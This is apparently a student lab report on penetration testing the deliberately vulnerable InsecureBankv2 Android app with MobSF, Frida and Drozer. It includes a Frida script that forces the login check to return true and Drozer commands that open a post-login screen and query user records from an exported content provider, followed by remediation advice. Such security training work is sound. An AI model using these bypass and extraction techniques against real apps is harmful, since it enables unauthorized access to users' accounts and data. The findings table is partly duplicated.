# Mobile Application Penetration Testing Report

**Project:** Mobile Application Security Analysis

**Application Tested:** *InsecureBankv2.apk*

**Platform:** Android

**Testing Tools:** MobSF, Frida, Drozer

**Environment:** Kali Linux Virtual Lab

## 1. Objective

The objective of this lab was to perform security analysis of an Android application (*InsecureBankv2.apk*) using **static analysis (MobSF), dynamic testing (Frida), and component abuse (Drozer)**. The goal was to identify insecure coding patterns, exported components, data exposure, authentication loopholes, and exploitability through instrumentation.

## 2. Application Information (from MobSF scan)

| **Field** | **Detail** |
|---|---|
| App Name | **InsecureBankv2** |
| Package | com.android.insecurebankv2 |
| Size | 3.3MB |
| Main Activity | com.android.insecurebankv2.LoginActivity |
| Target SDK | 22 |
| Min SDK | 15 |
| Max SDK | 30 |
| Trackers | **34** |
| Security Score | **28/100 (Low Security)** |

## 3. Static Analysis Findings (MobSF)

### 3.1 Exported Components

| Component Type | Total | Exported | Security Concern |
|---|---|---|---|
| Activities | 10 | **4 Exported** | May allow activity hijacking |
| Services | 0 | 0 | Safe |
| Receivers | 2 | **1 Exported** | Could be misused for broadcast injection |
| Content Providers | 1 | **1 Exported** | Risk of database leakage |

### 3.2 Key Vulnerabilities Identified

| ID | Vulnerability | Severity | Description |
|---|---|---|---|
| V-01 | **Exported Activities without permission** | High | Attackers can launch internal app activities using ADB/Drozer |
| V-02 | **Exported Content Provider** | High | Possible data theft through unauthorized DB queries |
| V-03 | **Weak/Improper SSL Implementation** | High | Susceptible to MITM attacks |
| V-04 | **Hardcoded values found in smali code** | Medium | Credentials/URLs could be extracted from code |
| V-05 | **Multiple trackers present (34)** | Medium | Privacy risk |
| V-06 | **No root/jailbreak detection** | Medium | Allows instrumentation attacks |
| **ID** | **Vulnerability** | **Severity** | **Description** |
| V-01 | **Exported Activities without permission** | High | Attackers can launch internal app activities using ADB/Drozer |
| V-02 | **Exported Content Provider** | High | Possible data theft through unauthorized DB queries |
| V-03 | **Weak/Improper SSL Implementation** | High | Susceptible to MITM attacks |

| | | | |
|---|---|---|---|
| V-04 | **Hardcoded values found in smali code** | Medium | Credentials/URLs could be extracted from code |
| V-05 | **Multiple trackers present (34)** | Medium | Privacy risk |

**4. Dynamic Analysis – Frida Attack Simulation**

**Goal:** Bypass Authentication and Hook Login Logic

**Script Used (example)**

```
Java.perform(function(){
   var Login = Java.use("com.android.insecurebankv2.LoginActivity");
   Login.checkLogin.implementation = function(){
      console.log("Auth bypass Triggered!");
      return true;
   }
});
```

**Result (Successful)**

| **Action** | **Result** |
|---|---|
| Authentication Check | **Bypassed** |
| Login Screen | Access granted without valid credentials |
| Security Impact | Any attacker with app access can bypass login |

The application lacks root/instrumentation protection, making Frida attacks possible.

**5. Component Exploitation – Drozer Testing**

**Exported Activity Execution Example**

```
drozer console connect
run app.activity.start --component com.android.insecurebankv2
com.android.insecurebankv2.PostLogin
```

📌 Result: **Activity opened without login → Authorization bypass confirmed**

**Content Provider Data Extraction**

```
run app.provider.finduri com.android.insecurebankv2
run app.provider.query content://com.android.insecurebankv2.database/users
```

📌 Result: **Sensitive banking user records retrievable without auth**

**6. Final Risk Evaluation**

| **Category** | **Risk Score** |
|---|---|
| Data Exposure | 🔴 High |
| Authentication Security | 🔴 High |
| Network Protection | 🟠 Medium |
| Code Security | 🟠 Medium |
| Tracker/Privacy Risk | 🟠 Medium |

## 7. Recommendations

| **Issue** | **Fix Recommendation** |
|---|---|
| Exported Components | Restrict using <exported="false"> or permission tags |
| Provider Access | Add readPermission/writePermission |
| Hardcoded values | Shift secrets to encrypted storage/Keystore |
| Authentication Logic | Implement server-side validation |
| SSL Weakness | Enforce certificate pinning, TLS 1.2+ only |
| Dynamic Hook Protection | Add root detection & tamper protection |

## 8. Conclusion

Testing of InsecureBankv2.apk revealed multiple high-risk security weaknesses. The application is vulnerable to authentication bypass, component hijacking, and data leakage through exported providers. Using MobSF, Frida, and Drozer, practical exploitation was successfully demonstrated.

This application should not be used in production without major security improvements.